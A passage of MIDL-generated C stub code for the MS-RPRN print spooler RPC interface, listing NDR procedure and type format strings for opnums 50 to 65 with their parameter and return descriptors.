1498 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */
1499 | /* 1792 */ 0x40, /* Oi2 Flags: has ext, */
1500 | 0x0, /* 0 */
1501 | /* 1794 */ 0xa, /* 10 */
1502 | 0x1, /* Ext Flags: new corr desc, */
1503 | /* 1796 */ NdrFcShort( 0x0 ), /* 0 */
1504 | /* 1798 */ NdrFcShort( 0x0 ), /* 0 */
1505 | /* 1800 */ NdrFcShort( 0x0 ), /* 0 */
1506 | /* 1802 */ NdrFcShort( 0x0 ), /* 0 */
1507 |
1508 | /* Procedure Opnum50NotUsedOnWire */
1509 |
1510 | /* 1804 */ 0x0, /* 0 */
1511 | 0x48, /* Old Flags: */
1512 | /* 1806 */ NdrFcLong( 0x0 ), /* 0 */
1513 | /* 1810 */ NdrFcShort( 0x32 ), /* 50 */
1514 | /* 1812 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1515 | /* 1814 */ 0x32, /* FC_BIND_PRIMITIVE */
1516 | 0x0, /* 0 */
1517 | /* 1816 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1518 | /* 1818 */ NdrFcShort( 0x0 ), /* 0 */
1519 | /* 1820 */ NdrFcShort( 0x0 ), /* 0 */
1520 | /* 1822 */ 0x40, /* Oi2 Flags: has ext, */
1521 | 0x0, /* 0 */
1522 | /* 1824 */ 0xa, /* 10 */
1523 | 0x1, /* Ext Flags: new corr desc, */
1524 | /* 1826 */ NdrFcShort( 0x0 ), /* 0 */
1525 | /* 1828 */ NdrFcShort( 0x0 ), /* 0 */
1526 | /* 1830 */ NdrFcShort( 0x0 ), /* 0 */
1527 | /* 1832 */ NdrFcShort( 0x0 ), /* 0 */
1528 |
1529 | /* Procedure RpcEnumPrintProcessorDatatypes */
1530 |
1531 | /* 1834 */ 0x0, /* 0 */
1532 | 0x48, /* Old Flags: */
1533 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */
1534 | /* 1840 */ NdrFcShort( 0x33 ), /* 51 */
1535 | /* 1842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1536 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */
1537 | 0x0, /* 0 */
1538 | /* 1846 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1539 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */
1540 | /* 1850 */ NdrFcShort( 0x8 ), /* 8 */
1541 | /* 1852 */ 0x44, /* Oi2 Flags: has return, has ext, */
1542 | 0x1, /* 1 */
1543 | /* 1854 */ 0xa, /* 10 */
1544 | 0x1, /* Ext Flags: new corr desc, */
1545 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */
1546 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */
1547 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */
1548 | /* 1862 */ NdrFcShort( 0x0 ), /* 0 */
1549 |
1550 | /* Return value */
1551 |
1552 | /* 1864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1553 | /* 1866 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1554 | /* 1868 */ 0x8, /* FC_LONG */
1555 | 0x0, /* 0 */
1556 |
1557 | /* Procedure RpcResetPrinter */
1558 |
1559 | /* 1870 */ 0x0, /* 0 */
1560 | 0x48, /* Old Flags: */
1561 | /* 1872 */ NdrFcLong( 0x0 ), /* 0 */
1562 | /* 1876 */ NdrFcShort( 0x34 ), /* 52 */
1563 | /* 1878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1564 | /* 1880 */ 0x32, /* FC_BIND_PRIMITIVE */
1565 | 0x0, /* 0 */
1566 | /* 1882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1567 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */
1568 | /* 1886 */ NdrFcShort( 0x8 ), /* 8 */
1569 | /* 1888 */ 0x44, /* Oi2 Flags: has return, has ext, */
1570 | 0x1, /* 1 */
1571 | /* 1890 */ 0xa, /* 10 */
1572 | 0x1, /* Ext Flags: new corr desc, */
1573 | /* 1892 */ NdrFcShort( 0x0 ), /* 0 */
1574 | /* 1894 */ NdrFcShort( 0x0 ), /* 0 */
1575 | /* 1896 */ NdrFcShort( 0x0 ), /* 0 */
1576 | /* 1898 */ NdrFcShort( 0x0 ), /* 0 */
1577 |
1578 | /* Return value */
1579 |
1580 | /* 1900 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1581 | /* 1902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1582 | /* 1904 */ 0x8, /* FC_LONG */
1583 | 0x0, /* 0 */
1584 |
1585 | /* Procedure RpcGetPrinterDriver2 */
1586 |
1587 | /* 1906 */ 0x0, /* 0 */
1588 | 0x48, /* Old Flags: */
1589 | /* 1908 */ NdrFcLong( 0x0 ), /* 0 */
1590 | /* 1912 */ NdrFcShort( 0x35 ), /* 53 */
1591 | /* 1914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1592 | /* 1916 */ 0x32, /* FC_BIND_PRIMITIVE */
1593 | 0x0, /* 0 */
1594 | /* 1918 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1595 | /* 1920 */ NdrFcShort( 0x0 ), /* 0 */
1596 | /* 1922 */ NdrFcShort( 0x8 ), /* 8 */
1597 | /* 1924 */ 0x44, /* Oi2 Flags: has return, has ext, */
1598 | 0x1, /* 1 */
1599 | /* 1926 */ 0xa, /* 10 */
1600 | 0x1, /* Ext Flags: new corr desc, */
1601 | /* 1928 */ NdrFcShort( 0x0 ), /* 0 */
1602 | /* 1930 */ NdrFcShort( 0x0 ), /* 0 */
1603 | /* 1932 */ NdrFcShort( 0x0 ), /* 0 */
1604 | /* 1934 */ NdrFcShort( 0x0 ), /* 0 */
1605 |
1606 | /* Return value */
1607 |
1608 | /* 1936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1609 | /* 1938 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1610 | /* 1940 */ 0x8, /* FC_LONG */
1611 | 0x0, /* 0 */
1612 |
1613 | /* Procedure Opnum54NotUsedOnWire */
1614 |
1615 | /* 1942 */ 0x0, /* 0 */
1616 | 0x48, /* Old Flags: */
1617 | /* 1944 */ NdrFcLong( 0x0 ), /* 0 */
1618 | /* 1948 */ NdrFcShort( 0x36 ), /* 54 */
1619 | /* 1950 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1620 | /* 1952 */ 0x32, /* FC_BIND_PRIMITIVE */
1621 | 0x0, /* 0 */
1622 | /* 1954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1623 | /* 1956 */ NdrFcShort( 0x0 ), /* 0 */
1624 | /* 1958 */ NdrFcShort( 0x0 ), /* 0 */
1625 | /* 1960 */ 0x40, /* Oi2 Flags: has ext, */
1626 | 0x0, /* 0 */
1627 | /* 1962 */ 0xa, /* 10 */
1628 | 0x1, /* Ext Flags: new corr desc, */
1629 | /* 1964 */ NdrFcShort( 0x0 ), /* 0 */
1630 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */
1631 | /* 1968 */ NdrFcShort( 0x0 ), /* 0 */
1632 | /* 1970 */ NdrFcShort( 0x0 ), /* 0 */
1633 |
1634 | /* Procedure Opnum55NotUsedOnWire */
1635 |
1636 | /* 1972 */ 0x0, /* 0 */
1637 | 0x48, /* Old Flags: */
1638 | /* 1974 */ NdrFcLong( 0x0 ), /* 0 */
1639 | /* 1978 */ NdrFcShort( 0x37 ), /* 55 */
1640 | /* 1980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1641 | /* 1982 */ 0x32, /* FC_BIND_PRIMITIVE */
1642 | 0x0, /* 0 */
1643 | /* 1984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1644 | /* 1986 */ NdrFcShort( 0x0 ), /* 0 */
1645 | /* 1988 */ NdrFcShort( 0x0 ), /* 0 */
1646 | /* 1990 */ 0x40, /* Oi2 Flags: has ext, */
1647 | 0x0, /* 0 */
1648 | /* 1992 */ 0xa, /* 10 */
1649 | 0x1, /* Ext Flags: new corr desc, */
1650 | /* 1994 */ NdrFcShort( 0x0 ), /* 0 */
1651 | /* 1996 */ NdrFcShort( 0x0 ), /* 0 */
1652 | /* 1998 */ NdrFcShort( 0x0 ), /* 0 */
1653 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */
1654 |
1655 | /* Procedure RpcFindClosePrinterChangeNotification */
1656 |
1657 | /* 2002 */ 0x0, /* 0 */
1658 | 0x48, /* Old Flags: */
1659 | /* 2004 */ NdrFcLong( 0x0 ), /* 0 */
1660 | /* 2008 */ NdrFcShort( 0x38 ), /* 56 */
1661 | /* 2010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1662 | /* 2012 */ 0x32, /* FC_BIND_PRIMITIVE */
1663 | 0x0, /* 0 */
1664 | /* 2014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1665 | /* 2016 */ NdrFcShort( 0x0 ), /* 0 */
1666 | /* 2018 */ NdrFcShort( 0x8 ), /* 8 */
1667 | /* 2020 */ 0x44, /* Oi2 Flags: has return, has ext, */
1668 | 0x1, /* 1 */
1669 | /* 2022 */ 0xa, /* 10 */
1670 | 0x1, /* Ext Flags: new corr desc, */
1671 | /* 2024 */ NdrFcShort( 0x0 ), /* 0 */
1672 | /* 2026 */ NdrFcShort( 0x0 ), /* 0 */
1673 | /* 2028 */ NdrFcShort( 0x0 ), /* 0 */
1674 | /* 2030 */ NdrFcShort( 0x0 ), /* 0 */
1675 |
1676 | /* Return value */
1677 |
1678 | /* 2032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1679 | /* 2034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1680 | /* 2036 */ 0x8, /* FC_LONG */
1681 | 0x0, /* 0 */
1682 |
1683 | /* Procedure Opnum57NotUsedOnWire */
1684 |
1685 | /* 2038 */ 0x0, /* 0 */
1686 | 0x48, /* Old Flags: */
1687 | /* 2040 */ NdrFcLong( 0x0 ), /* 0 */
1688 | /* 2044 */ NdrFcShort( 0x39 ), /* 57 */
1689 | /* 2046 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1690 | /* 2048 */ 0x32, /* FC_BIND_PRIMITIVE */
1691 | 0x0, /* 0 */
1692 | /* 2050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1693 | /* 2052 */ NdrFcShort( 0x0 ), /* 0 */
1694 | /* 2054 */ NdrFcShort( 0x0 ), /* 0 */
1695 | /* 2056 */ 0x40, /* Oi2 Flags: has ext, */
1696 | 0x0, /* 0 */
1697 | /* 2058 */ 0xa, /* 10 */
1698 | 0x1, /* Ext Flags: new corr desc, */
1699 | /* 2060 */ NdrFcShort( 0x0 ), /* 0 */
1700 | /* 2062 */ NdrFcShort( 0x0 ), /* 0 */
1701 | /* 2064 */ NdrFcShort( 0x0 ), /* 0 */
1702 | /* 2066 */ NdrFcShort( 0x0 ), /* 0 */
1703 |
1704 | /* Procedure RpcReplyOpenPrinter */
1705 |
1706 | /* 2068 */ 0x0, /* 0 */
1707 | 0x48, /* Old Flags: */
1708 | /* 2070 */ NdrFcLong( 0x0 ), /* 0 */
1709 | /* 2074 */ NdrFcShort( 0x3a ), /* 58 */
1710 | /* 2076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1711 | /* 2078 */ 0x32, /* FC_BIND_PRIMITIVE */
1712 | 0x0, /* 0 */
1713 | /* 2080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1714 | /* 2082 */ NdrFcShort( 0x0 ), /* 0 */
1715 | /* 2084 */ NdrFcShort( 0x8 ), /* 8 */
1716 | /* 2086 */ 0x44, /* Oi2 Flags: has return, has ext, */
1717 | 0x1, /* 1 */
1718 | /* 2088 */ 0xa, /* 10 */
1719 | 0x1, /* Ext Flags: new corr desc, */
1720 | /* 2090 */ NdrFcShort( 0x0 ), /* 0 */
1721 | /* 2092 */ NdrFcShort( 0x0 ), /* 0 */
1722 | /* 2094 */ NdrFcShort( 0x0 ), /* 0 */
1723 | /* 2096 */ NdrFcShort( 0x0 ), /* 0 */
1724 |
1725 | /* Return value */
1726 |
1727 | /* 2098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1728 | /* 2100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1729 | /* 2102 */ 0x8, /* FC_LONG */
1730 | 0x0, /* 0 */
1731 |
1732 | /* Procedure RpcRouterReplyPrinter */
1733 |
1734 | /* 2104 */ 0x0, /* 0 */
1735 | 0x48, /* Old Flags: */
1736 | /* 2106 */ NdrFcLong( 0x0 ), /* 0 */
1737 | /* 2110 */ NdrFcShort( 0x3b ), /* 59 */
1738 | /* 2112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1739 | /* 2114 */ 0x32, /* FC_BIND_PRIMITIVE */
1740 | 0x0, /* 0 */
1741 | /* 2116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1742 | /* 2118 */ NdrFcShort( 0x0 ), /* 0 */
1743 | /* 2120 */ NdrFcShort( 0x8 ), /* 8 */
1744 | /* 2122 */ 0x44, /* Oi2 Flags: has return, has ext, */
1745 | 0x1, /* 1 */
1746 | /* 2124 */ 0xa, /* 10 */
1747 | 0x1, /* Ext Flags: new corr desc, */
1748 | /* 2126 */ NdrFcShort( 0x0 ), /* 0 */
1749 | /* 2128 */ NdrFcShort( 0x0 ), /* 0 */
1750 | /* 2130 */ NdrFcShort( 0x0 ), /* 0 */
1751 | /* 2132 */ NdrFcShort( 0x0 ), /* 0 */
1752 |
1753 | /* Return value */
1754 |
1755 | /* 2134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1756 | /* 2136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1757 | /* 2138 */ 0x8, /* FC_LONG */
1758 | 0x0, /* 0 */
1759 |
1760 | /* Procedure RpcReplyClosePrinter */
1761 |
1762 | /* 2140 */ 0x0, /* 0 */
1763 | 0x48, /* Old Flags: */
1764 | /* 2142 */ NdrFcLong( 0x0 ), /* 0 */
1765 | /* 2146 */ NdrFcShort( 0x3c ), /* 60 */
1766 | /* 2148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1767 | /* 2150 */ 0x32, /* FC_BIND_PRIMITIVE */
1768 | 0x0, /* 0 */
1769 | /* 2152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1770 | /* 2154 */ NdrFcShort( 0x0 ), /* 0 */
1771 | /* 2156 */ NdrFcShort( 0x8 ), /* 8 */
1772 | /* 2158 */ 0x44, /* Oi2 Flags: has return, has ext, */
1773 | 0x1, /* 1 */
1774 | /* 2160 */ 0xa, /* 10 */
1775 | 0x1, /* Ext Flags: new corr desc, */
1776 | /* 2162 */ NdrFcShort( 0x0 ), /* 0 */
1777 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */
1778 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */
1779 | /* 2168 */ NdrFcShort( 0x0 ), /* 0 */
1780 |
1781 | /* Return value */
1782 |
1783 | /* 2170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1784 | /* 2172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1785 | /* 2174 */ 0x8, /* FC_LONG */
1786 | 0x0, /* 0 */
1787 |
1788 | /* Procedure RpcAddPortEx */
1789 |
1790 | /* 2176 */ 0x0, /* 0 */
1791 | 0x48, /* Old Flags: */
1792 | /* 2178 */ NdrFcLong( 0x0 ), /* 0 */
1793 | /* 2182 */ NdrFcShort( 0x3d ), /* 61 */
1794 | /* 2184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1795 | /* 2186 */ 0x32, /* FC_BIND_PRIMITIVE */
1796 | 0x0, /* 0 */
1797 | /* 2188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1798 | /* 2190 */ NdrFcShort( 0x0 ), /* 0 */
1799 | /* 2192 */ NdrFcShort( 0x8 ), /* 8 */
1800 | /* 2194 */ 0x44, /* Oi2 Flags: has return, has ext, */
1801 | 0x1, /* 1 */
1802 | /* 2196 */ 0xa, /* 10 */
1803 | 0x1, /* Ext Flags: new corr desc, */
1804 | /* 2198 */ NdrFcShort( 0x0 ), /* 0 */
1805 | /* 2200 */ NdrFcShort( 0x0 ), /* 0 */
1806 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */
1807 | /* 2204 */ NdrFcShort( 0x0 ), /* 0 */
1808 |
1809 | /* Return value */
1810 |
1811 | /* 2206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1812 | /* 2208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1813 | /* 2210 */ 0x8, /* FC_LONG */
1814 | 0x0, /* 0 */
1815 |
1816 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */
1817 |
1818 | /* 2212 */ 0x0, /* 0 */
1819 | 0x48, /* Old Flags: */
1820 | /* 2214 */ NdrFcLong( 0x0 ), /* 0 */
1821 | /* 2218 */ NdrFcShort( 0x3e ), /* 62 */
1822 | /* 2220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1823 | /* 2222 */ 0x32, /* FC_BIND_PRIMITIVE */
1824 | 0x0, /* 0 */
1825 | /* 2224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1826 | /* 2226 */ NdrFcShort( 0x0 ), /* 0 */
1827 | /* 2228 */ NdrFcShort( 0x8 ), /* 8 */
1828 | /* 2230 */ 0x44, /* Oi2 Flags: has return, has ext, */
1829 | 0x1, /* 1 */
1830 | /* 2232 */ 0xa, /* 10 */
1831 | 0x1, /* Ext Flags: new corr desc, */
1832 | /* 2234 */ NdrFcShort( 0x0 ), /* 0 */
1833 | /* 2236 */ NdrFcShort( 0x0 ), /* 0 */
1834 | /* 2238 */ NdrFcShort( 0x0 ), /* 0 */
1835 | /* 2240 */ NdrFcShort( 0x0 ), /* 0 */
1836 |
1837 | /* Return value */
1838 |
1839 | /* 2242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1840 | /* 2244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1841 | /* 2246 */ 0x8, /* FC_LONG */
1842 | 0x0, /* 0 */
1843 |
1844 | /* Procedure Opnum63NotUsedOnWire */
1845 |
1846 | /* 2248 */ 0x0, /* 0 */
1847 | 0x48, /* Old Flags: */
1848 | /* 2250 */ NdrFcLong( 0x0 ), /* 0 */
1849 | /* 2254 */ NdrFcShort( 0x3f ), /* 63 */
1850 | /* 2256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1851 | /* 2258 */ 0x32, /* FC_BIND_PRIMITIVE */
1852 | 0x0, /* 0 */
1853 | /* 2260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1854 | /* 2262 */ NdrFcShort( 0x0 ), /* 0 */
1855 | /* 2264 */ NdrFcShort( 0x0 ), /* 0 */
1856 | /* 2266 */ 0x40, /* Oi2 Flags: has ext, */
1857 | 0x0, /* 0 */
1858 | /* 2268 */ 0xa, /* 10 */
1859 | 0x1, /* Ext Flags: new corr desc, */
1860 | /* 2270 */ NdrFcShort( 0x0 ), /* 0 */
1861 | /* 2272 */ NdrFcShort( 0x0 ), /* 0 */
1862 | /* 2274 */ NdrFcShort( 0x0 ), /* 0 */
1863 | /* 2276 */ NdrFcShort( 0x0 ), /* 0 */
1864 |
1865 | /* Procedure Opnum64NotUsedOnWire */
1866 |
1867 | /* 2278 */ 0x0, /* 0 */
1868 | 0x48, /* Old Flags: */
1869 | /* 2280 */ NdrFcLong( 0x0 ), /* 0 */
1870 | /* 2284 */ NdrFcShort( 0x40 ), /* 64 */
1871 | /* 2286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1872 | /* 2288 */ 0x32, /* FC_BIND_PRIMITIVE */
1873 | 0x0, /* 0 */
1874 | /* 2290 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1875 | /* 2292 */ NdrFcShort( 0x0 ), /* 0 */
1876 | /* 2294 */ NdrFcShort( 0x0 ), /* 0 */
1877 | /* 2296 */ 0x40, /* Oi2 Flags: has ext, */
1878 | 0x0, /* 0 */
1879 | /* 2298 */ 0xa, /* 10 */
1880 | 0x1, /* Ext Flags: new corr desc, */
1881 | /* 2300 */ NdrFcShort( 0x0 ), /* 0 */
1882 | /* 2302 */ NdrFcShort( 0x0 ), /* 0 */
1883 | /* 2304 */ NdrFcShort( 0x0 ), /* 0 */
1884 | /* 2306 */ NdrFcShort( 0x0 ), /* 0 */
1885 |
1886 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */
1887 |
1888 | /* 2308 */ 0x0, /* 0 */
1889 | 0x48, /* Old Flags: */
1890 | /* 2310 */ NdrFcLong( 0x0 ), /* 0 */
1891 | /* 2314 */ NdrFcShort( 0x41 ), /* 65 */
1892 | /* 2316 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
1893 | /* 2318 */ 0x30, /* FC_BIND_CONTEXT */
1894 | 0x40, /* Ctxt flags: in, */
1895 | /* 2320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1896 | /* 2322 */ 0x0, /* 0 */
1897 | 0x0, /* 0 */
1898 | /* 2324 */ NdrFcShort( 0x3c ), /* 60 */
1899 | /* 2326 */ NdrFcShort( 0x8 ), /* 8 */
1900 | /* 2328 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
1901 | 0x7, /* 7 */
1902 | /* 2330 */ 0xa, /* 10 */
1903 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
1904 | /* 2332 */ NdrFcShort( 0x0 ), /* 0 */
1905 | /* 2334 */ NdrFcShort( 0x1 ), /* 1 */
1906 | /* 2336 */ NdrFcShort( 0x0 ), /* 0 */
1907 | /* 2338 */ NdrFcShort( 0x0 ), /* 0 */
1908 |
1909 | /* Parameter hPrinter */
1910 |
1911 | /* 2340 */ NdrFcShort( 0x8 ), /* Flags: in, */
1912 | /* 2342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1913 | /* 2344 */ NdrFcShort( 0x36 ), /* Type Offset=54 */
1914 |
1915 | /* Parameter fdwFlags */
1916 |
1917 | /* 2346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1918 | /* 2348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1919 | /* 2350 */ 0x8, /* FC_LONG */
1920 | 0x0, /* 0 */
1921 |
1922 | /* Parameter fdwOptions */
1923 |
1924 | /* 2352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1925 | /* 2354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1926 | /* 2356 */ 0x8, /* FC_LONG */
1927 | 0x0, /* 0 */
1928 |
1929 | /* Parameter pszLocalMachine */
1930 |
1931 | /* 2358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1932 | /* 2360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
1933 | /* 2362 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
1934 |
1935 | /* Parameter dwPrinterLocal */
1936 |
1937 | /* 2364 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1938 | /* 2366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
1939 | /* 2368 */ 0x8, /* FC_LONG */
1940 | 0x0, /* 0 */
1941 |
1942 | /* Parameter pOptions */
1943 |
1944 | /* 2370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1945 | /* 2372 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
1946 | /* 2374 */ NdrFcShort( 0x3a ), /* Type Offset=58 */
1947 |
1948 | /* Return value */
1949 |
1950 | /* 2376 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1951 | /* 2378 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
1952 | /* 2380 */ 0x8, /* FC_LONG */
1953 | 0x0, /* 0 */
1954 |
1955 | 0x0
1956 | }
1957 | };
1958 |
1959 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString =
1960 | {
1961 | 0,
1962 | {
1963 | NdrFcShort( 0x0 ), /* 0 */
1964 | /* 2 */
1965 | 0x12, 0x8, /* FC_UP [simple_pointer] */
1966 | /* 4 */
1967 | 0x25, /* FC_C_WSTRING */
1968 | 0x5c, /* FC_PAD */
1969 | /* 6 */
1970 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
1971 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */
1972 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */
1973 | 0xa0, /* Ctxt flags: via ptr, out, */
1974 | /* 12 */ 0x0, /* 0 */
1975 | 0x0, /* 0 */
1976 | /* 14 */
1977 | 0x11, 0x0, /* FC_RP */
1978 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */
1979 | /* 18 */
1980 | 0x1b, /* FC_CARRAY */
1981 | 0x0, /* 0 */
1982 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */
1983 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
1984 | 0x0, /* */
1985 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
1986 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
1987 | /* 28 */ 0x1, /* FC_BYTE */
1988 | 0x5b, /* FC_END */
1989 | /* 30 */
1990 | 0x1a, /* FC_BOGUS_STRUCT */
1991 | 0x3, /* 3 */
1992 | /* 32 */ NdrFcShort( 0x10 ), /* 16 */
1993 | /* 34 */ NdrFcShort( 0x0 ), /* 0 */
1994 | /* 36 */ NdrFcShort( 0x6 ), /* Offset= 6 (42) */
1995 | /* 38 */ 0x8, /* FC_LONG */
1996 | 0x40, /* FC_STRUCTPAD4 */
1997 | /* 40 */ 0x36, /* FC_POINTER */
1998 | 0x5b, /* FC_END */
1999 | /* 42 */
2000 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2001 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */
2002 | /* 46 */
2003 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
2004 | /* 48 */ NdrFcShort( 0x2 ), /* Offset= 2 (50) */
2005 | /* 50 */ 0x30, /* FC_BIND_CONTEXT */
2006 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */
2007 | /* 52 */ 0x0, /* 0 */
2008 | 0x0, /* 0 */
2009 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */
2010 | 0x41, /* Ctxt flags: in, can't be null */
2011 | /* 56 */ 0x0, /* 0 */
2012 | 0x0, /* 0 */
2013 | /* 58 */
2014 | 0x12, 0x0, /* FC_UP */
2015 | /* 60 */ NdrFcShort( 0x38 ), /* Offset= 56 (116) */
2016 | /* 62 */
2017 | 0x1b, /* FC_CARRAY */
2018 | 0x1, /* 1 */
2019 | /* 64 */ NdrFcShort( 0x2 ), /* 2 */
2020 | /* 66 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
2021 | 0x0, /* */
2022 | /* 68 */ NdrFcShort( 0xc ), /* 12 */
2023 | /* 70 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
2024 | /* 72 */ 0x6, /* FC_SHORT */
2025 | 0x5b, /* FC_END */
2026 | /* 74 */
2027 | 0x1a, /* FC_BOGUS_STRUCT */
2028 | 0x3, /* 3 */
2029 | /* 76 */ NdrFcShort( 0x18 ), /* 24 */
2030 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */
2031 | /* 80 */ NdrFcShort( 0xa ), /* Offset= 10 (90) */
2032 | /* 82 */ 0x6, /* FC_SHORT */
2033 | 0x6, /* FC_SHORT */
2034 | /* 84 */ 0x8, /* FC_LONG */
2035 | 0x8, /* FC_LONG */
2036 | /* 86 */ 0x8, /* FC_LONG */
2037 | 0x36, /* FC_POINTER */
2038 | /* 88 */ 0x5c, /* FC_PAD */
2039 | 0x5b, /* FC_END */
2040 | /* 90 */
2041 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2042 | /* 92 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (62) */
2043 | /* 94 */
2044 | 0x21, /* FC_BOGUS_ARRAY */
2045 | 0x3, /* 3 */
2046 | /* 96 */ NdrFcShort( 0x0 ), /* 0 */
2047 | /* 98 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
2048 | 0x0, /* */
2049 | /* 100 */ NdrFcShort( 0x8 ), /* 8 */
2050 | /* 102 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
2051 | /* 104 */ NdrFcLong( 0xffffffff ), /* -1 */
2052 | /* 108 */ NdrFcShort( 0x0 ), /* Corr flags: */
2053 | /* 110 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
2054 | 0x0, /* 0 */
2055 | /* 112 */ NdrFcShort( 0xffda ), /* Offset= -38 (74) */
2056 | /* 114 */ 0x5c, /* FC_PAD */
2057 | 0x5b, /* FC_END */
2058 | /* 116 */
2059 | 0x1a, /* FC_BOGUS_STRUCT */
2060 | 0x3, /* 3 */
2061 | /* 118 */ NdrFcShort( 0x18 ), /* 24 */
2062 | /* 120 */ NdrFcShort( 0x0 ), /* 0 */
2063 | /* 122 */ NdrFcShort( 0x8 ), /* Offset= 8 (130) */
